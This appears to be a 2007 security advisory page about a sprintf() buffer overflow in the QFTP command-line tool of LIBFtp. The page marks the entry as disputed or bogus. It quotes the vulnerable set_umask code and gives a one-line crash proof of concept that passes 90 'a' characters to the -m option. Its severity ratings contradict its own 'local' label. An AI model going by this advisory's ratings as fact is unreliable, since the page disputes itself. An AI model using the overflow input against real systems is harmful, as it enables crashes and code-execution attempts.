WARNING! Fake news / Disputed / BOGUS

QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow

2007.03.21
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

http://nbpfaus.net/~pfau/ftplib/ qftp is a utility that performs file transfers using ftplib based on instructions presented on the command line. >> Description buffer overflow in sprintf(), set_umask don't check sizelen of passed argument. >> Source error in main(): 337: case 'm' : set_umask(optarg); break; .. void set_umask(char *m) { char buf[80]; sprintf(buf,"umask %s", m); ftp_connect(); FtpSite(buf, conn); } >> POC $ gcc ftplib.c getopt.c qftp.c -o ftpsend $ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"` Segmentation fault # eip addr: $1 = (void *) 0x61616161 -- ~ starcadi


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top